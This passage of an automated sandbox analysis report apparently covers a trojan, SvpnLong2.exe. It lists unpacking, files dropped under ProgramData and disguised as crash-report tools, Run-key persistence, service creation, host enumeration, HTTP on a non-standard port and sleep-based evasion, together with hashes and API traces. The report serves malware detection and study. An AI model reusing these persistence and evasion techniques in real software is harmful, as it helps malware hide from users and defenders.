Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F24FE0	4_2_00007FF700F24FE0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F292B0	4_2_00007FF700F292B0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F40148	4_2_00007FF700F40148
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F2C1C0	4_2_00007FF700F2C1C0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F37C60	4_2_00007FF700F37C60
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F33CD4	4_2_00007FF700F33CD4
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F2EB34	4_2_00007FF700F2EB34
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F2AE50	4_2_00007FF700F2AE50
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F3C52C	4_2_00007FF700F3C52C
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F3C100	4_2_00007FF700F3C100
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F28910	4_2_00007FF700F28910
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F3DF54	4_2_00007FF700F3DF54
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F38F78	4_2_00007FF700F38F78
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F33FA0	4_2_00007FF700F33FA0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F21FB0	4_2_00007FF700F21FB0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F3600C	4_2_00007FF700F3600C
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FFDFB8B63F8	4_2_00007FFDFB8B63F8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FFDFB8B3FE0	4_2_00007FFDFB8B3FE0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283001432BC	4_2_00000283001432BC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283001472F0	4_2_00000283001472F0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830013FB38	4_2_000002830013FB38
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300149BFC	4_2_0000028300149BFC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830013D42B	4_2_000002830013D42B
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300131D38	4_2_0000028300131D38
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300141E58	4_2_0000028300141E58
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300147E60	4_2_0000028300147E60
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300146E70	4_2_0000028300146E70
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300133EE8	4_2_0000028300133EE8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300146004	4_2_0000028300146004
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300131838	4_2_0000028300131838
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283001478DC	4_2_00000283001478DC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283001481C0	4_2_00000283001481C0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D91E80	5_2_0000016AA3D91E80
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D94530	5_2_0000016AA3D94530
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D914C0	5_2_0000016AA3D914C0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA8808	5_2_0000016AA3DA8808
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA3FA4	5_2_0000016AA3DA3FA4
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA7F24	5_2_0000016AA3DA7F24
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA664C	5_2_0000016AA3DA664C
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D9FCF0	5_2_0000016AA3D9FCF0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DB6520	5_2_0000016AA3DB6520
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DB5CC0	5_2_0000016AA3DB5CC0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA74B8	5_2_0000016AA3DA74B8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA6CAC	5_2_0000016AA3DA6CAC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA84A8	5_2_0000016AA3DA84A8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA24A0	5_2_0000016AA3DA24A0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D92380	5_2_0000016AA3D92380
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DB2ADC	5_2_0000016AA3DB2ADC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA6A70	5_2_0000016AA3DA6A70
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D9DA90	5_2_0000016AA3D9DA90
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DAA244	5_2_0000016AA3DAA244
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA0180	5_2_0000016AA3DA0180
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DB3974	5_2_0000016AA3DB3974
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DB51A4	5_2_0000016AA3DB51A4
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA7938	5_2_0000016AA3DA7938
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA3904	5_2_0000016AA3DA3904
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D9F8D0	5_2_0000016AA3D9F8D0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB6004	5_2_0000016AA3AB6004
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AA3EE8	5_2_0000016AA3AA3EE8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB1E58	5_2_0000016AA3AB1E58
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB7E60	5_2_0000016AA3AB7E60
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB6E70	5_2_0000016AA3AB6E70
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AA1D38	5_2_0000016AA3AA1D38
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AAD42B	5_2_0000016AA3AAD42B
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB9BFC	5_2_0000016AA3AB9BFC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AAFB38	5_2_0000016AA3AAFB38
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB32BC	5_2_0000016AA3AB32BC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB72F0	5_2_0000016AA3AB72F0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB81C0	5_2_0000016AA3AB81C0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB78DC	5_2_0000016AA3AB78DC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AA1838	5_2_0000016AA3AA1838

Source: Joe Sandbox View	Dropped File: C:\ProgramData\tusyk\arphaCrashReport64.exe E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271
Source: Joe Sandbox View	Dropped File: C:\ProgramData\tusyk\arphaDump64.dll 7FCD3560EF424424DBD26B8E1BA90CA0F6198AA1D0BDA44F92CB880F4666A1F1

Source: SvpnLong2.exe	Binary or memory string: OriginalFilename vs SvpnLong2.exe
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs SvpnLong2.exe
Source: SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs SvpnLong2.exe

Source: classification engine

Classification label: mal76.troj.spyw.evad.winEXE@3/3@1/3

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	0_2_0184F8D0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	4_2_000002830042F8D0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	5_2_0000016AA3D9F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01843560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_01843560

Source: C:\ProgramData\tusyk\arphaCrashReport64.exe

Code function: 4_2_00007FF700F22CB0 CoCreateInstance,

4_2_00007FF700F22CB0

Source: C:\ProgramData\tusyk\arphaCrashReport64.exe

Code function: 4_2_00007FF700F264E0 LoadResource,LockResource,SizeofResource,

4_2_00007FF700F264E0

Source: C:\Users\user\Desktop\SvpnLong2.exe

0_2_0184F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\49ba59abbe56e057_15660
Source: C:\Users\user\Desktop\SvpnLong2.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\49ba59abbe56e057_15663

Source: C:\Users\user\Desktop\SvpnLong2.exe

File created: C:\Windows\Temp\49ba59abbe56e057.log

Jump to behavior

Source: SvpnLong2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SvpnLong2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SvpnLong2.exe

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Users\user\Desktop\SvpnLong2.exe "C:\Users\user\Desktop\SvpnLong2.exe"
Source: unknown	Process created: C:\ProgramData\tusyk\arphaCrashReport64.exe "C:\ProgramData\tusyk\arphaCrashReport64.exe"
Source: unknown	Process created: C:\ProgramData\tusyk\arphaCrashReport64.exe "C:\ProgramData\tusyk\arphaCrashReport64.exe"

Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior

Source: SvpnLong2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SvpnLong2.exe

Static file information: File size 30057472 > 1048576

Source: SvpnLong2.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1c10c00

Source: SvpnLong2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000004.00000000.2254093981.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000004.00000002.2927177585.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000002.2927141283.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000000.2334798180.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000004.00000002.2927296184.00007FFDFB8BA000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000005.00000002.2927256085.00007FFDFB8BA000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\SvpnLong2.exe	Unpacked PE file: 0.2.SvpnLong2.exe.1840000.5.unpack
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Unpacked PE file: 4.2.arphaCrashReport64.exe.28300420000.4.unpack

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01844530 GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,lstrcpy,CloseHandle,FindCloseChangeNotification,CreateThread,WaitForSingleObject,CloseHandle,

0_2_01844530

Source: arphaDump64.dll.0.dr

Static PE information: real checksum: 0x217b16 should be: 0x21d056

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000A8E1 push cs; ret	0_3_000000018000A8E2
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01864E2E push rbp; iretd	0_2_01864E38
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_00B788D0 push eax; ret	0_2_00B788D2
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_00B78F50 push eax; ret	0_2_00B78F52
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01567854 pushfd ; ret	0_2_01567855
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300444E2E push rbp; iretd	4_2_0000028300444E38
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300147854 pushfd ; ret	4_2_0000028300147855
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002837E6A0FC0 push eax; ret	4_2_000002837E6A0FC2
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DB4E2E push rbp; iretd	5_2_0000016AA3DB4E38
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA2190FC0 push eax; ret	5_2_0000016AA2190FC2
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AB7854 pushfd ; ret	5_2_0000016AA3AB7855

Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\tusyk\arphaCrashReport64.exe			Jump to dropped file
Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\tusyk\arphaDump64.dll			Jump to dropped file

Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\tusyk\arphaCrashReport64.exe			Jump to dropped file
Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\tusyk\arphaDump64.dll			Jump to dropped file

Source: C:\Users\user\Desktop\SvpnLong2.exe

0_2_0184F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tjvefb			Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tjvefb			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49730

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01843560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_01843560

Source: C:\Users\user\Desktop\SvpnLong2.exe	Window / User API: threadDelayed 5377	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Window / User API: threadDelayed 3800	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Window / User API: threadDelayed 3234	Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_0-25792
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Users\user\Desktop\SvpnLong2.exe TID: 7360	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe TID: 7764	Thread sleep count: 5377 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe TID: 7764	Thread sleep time: -53770s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe TID: 3808	Thread sleep count: 264 > 30	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe TID: 8020	Thread sleep count: 3800 > 30	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe TID: 8020	Thread sleep time: -38000s >= -30000s	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe TID: 8084	Thread sleep count: 3234 > 30	Jump to behavior
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe TID: 8084	Thread sleep time: -32340s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SvpnLong2.exe	Last function: Thread delayed
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Last function: Thread delayed
